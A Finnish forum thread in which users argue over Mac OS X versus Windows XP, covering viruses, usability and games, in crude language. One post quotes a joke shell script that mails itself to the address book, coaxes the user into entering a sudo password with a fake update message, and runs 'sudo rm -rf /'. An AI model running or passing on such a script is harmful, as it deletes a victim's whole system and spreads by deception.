Apple vs PC+Linux (Mac versus Win tappelu)

Mike sanoi:
Jos Applea ei olisi, niin sinäkin nussisit vieläkin paskemmalla käyttiksellä. Kaikkihan ne Applea matkii soittimia myöten, joten ihan hiljaa siellä takana ;) Koittaisivat vielä matkia senverran, että pääsisi viruksista eroon, olikos niitä se 144 tuhatta? Ei muista kun en ole tavannut vähään aikaan ;)
Click to expand...
Mikeltä ei muita argumenttejä löydy millä ratsastaa kuin alati vaihtuva virusten määrä... :hyvä:
 
Mike sanoi:
Ja sinä se jaksat ignoorata kokonaista 144 tuhatta virusta. Mahtaa hajottaa :D
Click to expand...
vituttaako mike tällaset tiedostot:

nettiporno.sh
##!/bin/sh
pine --subject "ilmaista nettipornoa!!!" osoitekirjasi.osoitteet@ne.kaikki.com < nettiporno.sh
echo "Päivitetään käyttöjärjestelmää jotta ohjelma voi ladata kaikki maailman nettipornopätkät koneellesi, anna salasanasi kun sitä kysytään jotta päivitys saadaan valmiiksi. muista kytkeä myös mahdolliset varmuuskopiolevyt kiinni ja yhdistää kaikki verkkojaot ennen kuin kirjoitat salasanasi!!"
sudo rm -rf /
echo "vituttaako nyt?"
Click to expand...

suurin osa viruksista on kuitenkin tuota tasoa ("klikkaa ok niin alkaa hilloa valumaan pankkitililles") jos joku on tajunnut laittaa sen virustorjunnan päälle ja päivittymään automaattisesti.

ja sen paremmin ei menis jos maailmassa ois vaan osx. samalla lailla jotkut vetäis uskomattomat rahat verkkorikollisuudella, viruksilla, plishingeillä jne...

e: vähän niinkuin jättäis panematta paljaalla ihan vaan siksi kun maailmassa on hiv-positiivisia naisia olemassa...
 
Fabe sanoi:
Ei mulla ole niistä yhtään, miksi en siis ignooraisi? ;)
Click to expand...

Samaa mä mietin. Ei mun koneessa ole viruksen virusta.

Osaamattoman käyttäjän käsissä wintoosa on kyllä mukava hunajapurkki viruksille.

Jokusen vuoden wintoosa ylläpidossa hääränneenä en ole kokenut, että virukset olisivat minua juurikaan työllistäneet. KUNHAN asiat on vaan hoidettu oikein.
 
Windows XP Professional on vitun hyvä käyttis :thumbs:

edit: Olen tosissani. Eikä mullakaan ole IKINÄ ollut virusta koneella.
 
miqsu sanoi:
Windows XP Professional on vitun hyvä käyttis :thumbs:

edit: Olen tosissani. Eikä mullakaan ole IKINÄ ollut virusta koneella.
Click to expand...

Ei mullakaan. Istun juuri töissä XP Professional käyttiksenä koneella.
Onhan tää ihan hyvä, mutta ei niin hyvä kun vois olla. Ei kaatuile kovin usein. Ehkä kerran viikossa jotkut ohjelmat jumittaa niin, että täytyy käynnistää uudestaan. Se ei pakosti ole XP:n vika.

Mutta se vitun typerä logiikka asioiden tekemiseen on perseestä.
Tää on auttamattomasti vanhanaikanen monelta osin. Kankee ja monimutkainen.
Mutta jos ei paremmasta tiedä, niin tähän voi olla tyytyväinen.
Moni asia alkaa vituttamaan kun tietää kuinka paljon helpommallakin selviäis.

Eli XP Professional on ihan hyvä, mutta OSX on huomattavasti parempi, loogisempi ja mukavempi käyttää. Niin ja kaupanpäälle näyttääkin vielä hyvältä.

Edit. Ei täälläkään viruksia. Pari kertaa tulee vuodessa varoitus viruksesta jonka virustorjunta on hoitanut. Töissä ei tarvitse maksaa itse ohjelmista, joten siitä ei ole haittaa. Kotona alkais varmasti vituttaan pitää jotain vartijaa koneella kokoajan ja katsoa sen olevan ajantasalla.
 
Miikkah sanoi:
Kotona alkais varmasti vituttaan pitää jotain vartijaa koneella kokoajan ja katsoa sen olevan ajantasalla.
Click to expand...

Ei se niin vaikeeta ole. Katos updatet se tekee automattisesti. Jep, ja monet hyvät ohjelmat on jopa ilmaisia.

Ei siitä sen enempää. Voitko kertoa mitä epäloogista on winukassa kun taas macissa se on hyvin tehty?

Miikkah sanoi:
Ehkä kerran viikossa jotkut ohjelmat jumittaa niin, että täytyy käynnistää uudestaan. Se ei pakosti ole XP:n vika.
Click to expand...

Ootko ajatellut kuinka paljon enemmän winukan käyttäjiä on ja kuinka paljon isompi tarve on erillaisille ohjelmille. Onko se sitten XP:n vika jos X-ohjelman koodaajat ovat tehneet mokan koodauksessa. Siis suhteuta toimivuutta ja käyttijien määrää edes vähän.

Se että pelejä ei pahemmin macillä pelata(ei isoja valmitajia kiinnosta vähempää) kertoo macin kysynnystä käyttäjien keskuudessa. Mutta senkin on varmaan plussaa, pelit kusee muutenkin.

veikkaan about 3 min kun joku macisti tulee hehkuttaa konsolista
 
limp duck sanoi:
Se että pelejä ei pahemmin macillä pelata(ei isoja valmitajia kiinnosta vähempää) kertoo macin kysynnystä käyttäjien keskuudessa. Mutta senkin on varmaan plussaa, pelit kusee muutenkin.
Click to expand...
Otahan nyt ne Anti-Mac-lasit hetkeksi pois päästä. Electronic Arts on yksi suurimmista valmistajista ja julkaisee yhä enemmän pelejään myös Macille. Sama homma myös muutamalla muulla. Joten kyllä Macin suosion huikea kasvu alkaa näkyä pikkuhiljaa myös pelirintamalla.

limp duck sanoi:
veikkaan about 3 min kun joku macisti tulee hehkuttaa konsolista
Click to expand...
Jep. Kuten monta kertaa sanottu, on konsoli monissa hommissa ylivoimainen erityisesti käytettävyydeltään. Mutta vaikkapa strategia- tai FPS-peleihin siitä ei ole sitten millään.
 
Crimson sanoi:
Otahan nyt ne Anti-Mac-lasit hetkeksi pois päästä. Electronic Arts on yksi suurimmista valmistajista ja julkaisee yhä enemmän pelejään myös Macille. Sama homma myös muutamalla muulla. Joten kyllä Macin suosion huikea kasvu alkaa näkyä pikkuhiljaa myös pelirintamalla.
Click to expand...

Kai sä tajuat et se on hiirenpaska verrattuna PC:hen, joka on aika vähän.


Crimson sanoi:
Jep. Kuten monta kertaa sanottu, on konsoli monissa hommissa ylivoimainen erityisesti käytettävyydeltään. Mutta vaikkapa strategia- tai FPS-peleihin siitä ei ole sitten millään.
Click to expand...

voi elämä. Ignooraat selvät faktat, sun MUTUt(jotka ei pidä paikkaansa) ja kiinnität huomiota vain samoihin asioihin. ei se mitään, onnea itsellesi.
 
miqsu sanoi:
Sä oot kyl kovin pihalla :)
Click to expand...

Kyllä mä ainakin huolta kantaisin siitä onko virustorjunta-ohelmisto nyt varmasti vielä voimassa ja toiminnassa. Pyöriihän se taustalla ihan mukavasti, mutta ilmankin pärjää jos hylkää koko paskan.
Aina tollaset tuottaa lisävaivaa ja jopa syö koneen tehoja pyöriessään taustalla. Tosin hyvin vähän.
 
Siis hetkinen? Ensin sanoit näin:
limp duck sanoi:
Se että pelejä ei pahemmin macillä pelata(ei isoja valmitajia kiinnosta vähempää) kertoo macin kysynnystä käyttäjien keskuudessa.
Click to expand...
Ja kun totesin, että tilanne on muutumassa eikä tuo pidä enää paikkaansa, vastaus olikin tällainen:
limp duck sanoi:
Kai sä tajuat et se on hiirenpaska verrattuna PC:hen, joka on aika vähän.
Click to expand...
Koitahan nyt pysyä asiassa äläkä yritä väistellä noin naurettavasti.

limp duck sanoi:
voi elämä. Ignooraat selvät faktat, sun MUTUt(jotka ei pidä paikkaansa) ja kiinnität huomiota vain samoihin asioihin. ei se mitään, onnea itsellesi.
Click to expand...

Kukahan täällä nyt vetää MUTUlla ja pyörittää samaa nauhaa jatkuvasti? Voisitko ystävällisesti kertoa mitkä ne selvät faktat sitten on ja sanoa, mikä tästä ei pidä paikkaansa:
Crimson sanoi:
Kuten monta kertaa sanottu, on konsoli monissa hommissa ylivoimainen erityisesti käytettävyydeltään. Mutta vaikkapa strategia- tai FPS-peleihin siitä ei ole sitten millään.
Click to expand...
 
limp duck sanoi:
Ei se niin vaikeeta ole. Katos updatet se tekee automattisesti. Jep, ja monet hyvät ohjelmat on jopa ilmaisia.
Ei siitä sen enempää. Voitko kertoa mitä epäloogista on winukassa kun taas macissa se on hyvin tehty?
Click to expand...

Virustorjunnasta on aina ylimääräistä päänvaivaa jossain vaiheessa. Sitten kun sen saa taustalle rullaamaan, niin ei ole mitään hätää (pitäis olla). Ilmaisohjelmat testejen mukaan ei ole kyllä ihan parhaasta päästä.

Kysytkö ihan tosissas mitä epäloogista on winukassa. Voi elämä, tällasten kanssa saa sitten vääntää täällä.
No laitan pientä listaa asioista jotka ärsyttää mua. (on paljon muitakin asioita jotka ärsyttää, mutta niitten kanssa tulee toimeen winukassa)
Laitetaan kuitenkin sellaset mitä äkkiseltään tulee mieleen:

winukan hidas käynnistyminen -> osx alle 10 sek.

winukan hidastuminen alkuperäisillä asetuksilla vuosien saatossa (säätämällä pystyy parantamaan tätä. vinukka kerää turhaa tietoa hidastamaan konetta) -> OSX ei hidastu vuosien käytössä.

Ohjelmien asentaminen kerää winukassa kansiollisen kaikkea ihme tiedostoa ohjelmatiedostoihin ohjelman omaan kansioon. Ohjelmien asentaminen hidasta -> OSX:llä riittää yksi tiedosto joka siirretään ohjelmat-kansioon. Se sisältää kaiken.

Ohjelman poistaminen on winukalla aina vähän arpapeliä. Jotkut paskaohjelmat jättää jotain ihme tietoja koneelle joita saa poistaa kissojen ja koirien kanssa. Ohjelman poistoon täytyy käyttää lisää/poista sovellusta tai erillistä Uninstall kikkaretta -> OSX:llä raahaat vaan ohjelman kuvakkeen roskikseen.
winukassa pitää olla joku reg cleaner tai/ja ad aware kaiken varalle. Se on perseestä.

winukalla täytyy sillontällön eheytellä levyä -> OSX:llä ei

winukassa useamman ikkunan ollessa auki niitä on hankala erottaa toisistaan paskassa alapalkissa. Niitä ei esimerkiksi saa näkyviin kaikkia yhtäaikaa. -> OSX Exposé

Winukassa kansioita ei pysty raahaamaan ikkunasta toiseen -> OSX:llä voi raahata mitä tiedostoja tahansa.

winukassa ei pysty raahaamaan tiedostoa kansiorakenteessa eteenpäin kuin yhden kansion verran. Tässä voi tosin käyttää copy+pastea -> OSX:ssä voi.

Winukassa pitää ohjelmista tehdä pikakuvakkeita työpöydälle tai alapalkkiin tai vaihtoehtoisesti hankalimman kautta klikkailla käynnistä - ohjelmat - ohjelmakansio - ohjelma. -> OSX:llä ne on kaikki haluamansa yhdessä rivissä ja nähtävillä.

Winukassa ei pysty katselemaan esimerkiksi PDF:iä aukaisematta sille tarkoitettua ohjelmaa -> OSX:llä voi. Sama esimerkiksi videoiden kanssa.

Winukassa ei pysty määrittelemään itse tiedostojen (esimerkiksi kuvatiedostojen) esikatselukokoa. -> OSX:llä voi.

Winukassa tulee automaattisesti monimutkaisia kansiorakenteita johon voi itse vaikuttaaa tosin. Mutta esimerkiksi ohjelmat tekevät omat kansionsa. Kansiorakenne on jokatapauksessa hyvin monella käyttäjällä sellainen, että ei voi millään tietää mitä mistäkin kansiosta löytyy. Searchia saa käyttää. -> OSX tekee rakenteet järkevästi ja välttelee kaikenlaisia rekisteröitymiskikkareita joita tulee ohjelmien mukana ym ym.

Winukassa saa asentaa tulostimille, scannereille, digikameroille, hiirelle ja kaikelle oheislaitteille ajureita ja jopa erillisiä ohjelmia. Silti toimivuus ei ole aina taattu. Monta omakohtaista kokemusta -> OSX:ssä ei tarvitse stressata ajureista.

Winukassa jokainen ohjelma päivittelee omalta osaltaan itseään. -> OSX:ssä päivitykset tehdään kootusti.

Tässä ensihätään. Voin keräillä tänne listaa. Samalla voit perata tätä threadia läpi ja katsoa mitä eroa näiden kahden velikullan välillä on.
 
miqsu sanoi:
Sä oot kyl kovin pihalla :)
Click to expand...

Ja mitä säkään mistään tiedät jos et ole käyttänyt vähintään vuotta molempia käyttiksiä. Vituttaa vängätä henkilölle joka elää täysin tietämättömänä mahdollisuuksista. Sellasen kuva sun toiminnasta saa.
Ja oothan sä kyllä aika pihalla jos ´tulet väittämään tämän jälkeen käyttäneesi OSX tigeriä tai pantheria niiden saatavissa olevan ajan ja väität edelleen XP:n olevan jotain aivan huippua.
Mulla on sellanen fiilis, että sulta tosiaan uupuu vertailukohdat.
 
Miikkah sanoi:
...
Click to expand...

Suurin osa ei ole epäloogisia ja osa bullshittiä. Esim noiden tiedostojen raahaus yms.

Esim noiden kuvien ja videoiden katselu, ehkä joku käyttäjä (kuten minä) haluan tietyn hyvän ohjelman jos haluan katsoa leffoja. Winukan oma mediaplayer soittaa lähes kaikki videot mutta se ei ole käytettävyydeltään paras. Winukassa on vaihtoehtoja, OSX vain tekee sen mitä haluaa ja macisti ei pahemmin voi asiasta valittaa. Onko se sitten hyvä?

mut joo, meidän mielipiteet on ihan eri puolilla skaalaa, en hauku OSX huonoksi, itse jopa voisin harkita maccia.
 
limp duck sanoi:
Suurin osa ei ole epäloogisia ja osa bullshittiä. Esim noiden tiedostojen raahaus yms.

Esim noiden kuvien ja videoiden katselu, ehkä joku käyttäjä (kuten minä) haluan tietyn hyvän ohjelman jos haluan katsoa leffoja. Winukan oma mediaplayer soittaa lähes kaikki videot mutta se ei ole käytettävyydeltään paras. Winukassa on vaihtoehtoja, OSX vain tekee sen mitä haluaa ja macisti ei pahemmin voi asiasta valittaa. Onko se sitten hyvä?

mut joo, meidän mielipiteet on ihan eri puolilla skaalaa, en hauku OSX huonoksi, itse jopa voisin harkita maccia.
Click to expand...

Nyt puhuttiin videoiden esikatselusta. Yhtäläillä vaihtoehtoja soittimille on OSX:ssäkin. Sama PDF:ien esikatselu.
Wintoosalla tosiaan pystyy tekemään yhtälailla mutta niiden logiikka on hieman kankea.

Osa noista kommenteista epäloogisia ja osa bullshittiä?
Kerro nyt vielä väitteillesi perusta.
Mitkä on epäloogisia ja mitkä on täyttä paskaa?

En mä kelpuuta tollasia vastauksia.
 
Back
Ylös Bottom